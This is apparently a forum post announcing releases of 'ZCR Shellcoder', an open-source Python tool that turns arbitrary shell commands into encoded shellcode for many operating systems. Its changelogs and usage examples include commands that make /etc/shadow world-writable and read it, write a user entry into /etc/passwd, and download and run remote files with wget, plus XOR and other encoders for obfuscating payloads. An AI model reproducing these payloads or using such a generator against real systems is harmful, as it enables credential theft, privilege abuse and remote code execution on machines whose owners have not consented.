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    ZCR Shellcoder

    Hello my friends,

    ZeroDay Cyber Research Shellcoder [Generator] is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software can be run on Windows/Linux&Unix/OSX and others OS under python 2.7.x.
    Today I update and released zcr shellcoder version 1.0.1, Fixed many bugs as you can see here .
    Activated function are exec(),chmod(),write() and system() in this version
    and now you can convert any commandline to shellcode such as system('chmod 777 /etc/shadow') or multi commandline system('chmod 777 /etc/shadow;wget exploit;chmod 777 exploit;./exploit') ...

    And i will active all features in next version.

    you can see all features in ZCR Shellcoder home:
    And Download from Github:

    There are English/Persian/Russian document available in doc folder for help and to see example commands and changes please look up "readme" file
    And you can look up analysis post in here.

    Please if you have any idea , recommend or anything let me know.

    Thank you.

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    Hello Again, I just updated software in same url
    here some new features:
    PHP Code:
    version 1.0.2SKIP
    [linux_x86 modules completed]
    add script_executor() [linux using command execution]
    add download_execute() [linux_x86 using command execution (wget)]  
    add download() [linux_x86 using command execution (wget)] 
    add dir_create() [linux_x86 using command execution
    add file_create() [linux_x86 using command execution]
    add encodes file for next version released

    python -os linux_x86 -encode none -job file_create('/root/Desktop/hello.txt','hello') -o file.txt
    >python -os linux_x86 -encode none -job file_create('/root/Desktop/hello2.txt','hello[space]world[space]!') -o file.txt
    >python -os linux_x86 -encode none -job dir_create('/root/Desktop/mydirectory') -o file.txt
    >python -os linux_x86 -encode none -job download('','myfile.type') -o file.txt
    >python -os linux_x86 -encode none -job download_execute('','myfile.type','./myfile.type') -o file.txt

    #multi command
    >python -os linux_x86 -encode none -job download_execute('','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type') -o file.txt
    >python -os linux_x86 -encode none -job script_executor('script.type','D:\\myfile.type','./script.type') -o file.txt
    >python -os linux_x86 -encode none -job script_executor('','/root/','sh[space]') -o file.txt
    >python -os linux_x86 -encode none -job script_executor('','/root/Desktop/','chmod[space]+x[space];[space]python[space]') -o file.txt

    Remember don't use " " and replace it with "[space]"
    Note: script_executor(),download_execute(),download(),dir_create(),file_create() are using linux command line , not the function. [wget,mkdir,echo]

    version 1.0.1: BOILING_POINT
    add system() [linux_x86 command execute]
    fixed chmod filename 1/4 char length [linux_x86]
    fixed exec filename 1/4 char length [linux_x86]
    fixed write filename 1/4 length [linux_x86]
    fixed write content 1/4 length [linux_x86]
    fixed write length calculator [linux_x86]
    and fixed some other bugs in coding [core]


    system() function added in script, you can use it to do anything and generate any command line shellcode.
    Note: Don'
    use space ' ' in system() function, replace it with "[space]" software will detect and replace " " for you in shellcode.

    python -os linux_x86 -encode none -job system('ls') -o file.txt
    >python -os linux_x86 -encode none -job system('ls[space]-la') -o file.txt
    >python -os linux_x86 -encode none -job system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file') -o file.txt
    >python -os linux_x86 -encode none -job system('wget[space]file;sh[space]file') -o file.txt

    version 1.0.0
    add chmod
    () [linux_x86] -> chmod('/path/file','perm_num')
    add write() [linux_x86] -> write('/path/file','content')
    add exec() [linux_x86]  -> exec('/path/file')
    add encode [none all os


    python -

    h, --h, -help, --help => to see this help guide
    -os => choose your os to create shellcode
    -oslist => list os for switch -os
    -=> output filename
    -job => what shellcode gonna do for you ?
    joblist => list of -job switch
    encode => generate shellcode with encode
    -types => types of encode for -encode switch

    update => check for update

    >python -oslist

    [+] linux_x86
    [+] linux_x64
    [+] linux_arm
    [+] linux_mips
    [+] freebsd_x86
    [+] freebsd_x64
    [+] windows_x86
    [+] windows_x64
    [+] osx
    [+] solaris_x86
    [+] solaris_x64

    >python -joblist

    [+] exec('/path/file')
    chmod('/path/file','permission number')
    write('/path/file','text to write')
    file_create('/path/file','text to write')
    download_execute('url','filename','command to execute')
    system('command to execute')
    script_executor('name of script','path and name of your script in your pc','execute command')

    python -types

    [+] none
    [+] xor_random
    [+] xor_yourvalue
    [+] add_random
    [+] add_yourvalue
    [+] sub_random
    [+] sub_yourvalue
    [+] inc
    [+] inc_timesyouwant
    [+] dec
    [+] dec_timesyouwant
    [+] mix_all

    Generating shellcodes 
    using functions:
    python -os linux_x86 -encode none -job chmod('/etc/shadow','777') -o file.txt
    >python -os linux_x86 -encode none -job write('/etc/passwd','user:pass') -o file.txt
    >python -os linux_x86 -encode none -job exec('/bin/bash') -o file.txt

    exec() doesn't support any ARGV same as exec('/bin/bash -c ls') or exec('/bin/bash','-c','ls'), you have to wait for next version and this feature will available  in system() 
    if anyone have idea i glad to know , thank you all.

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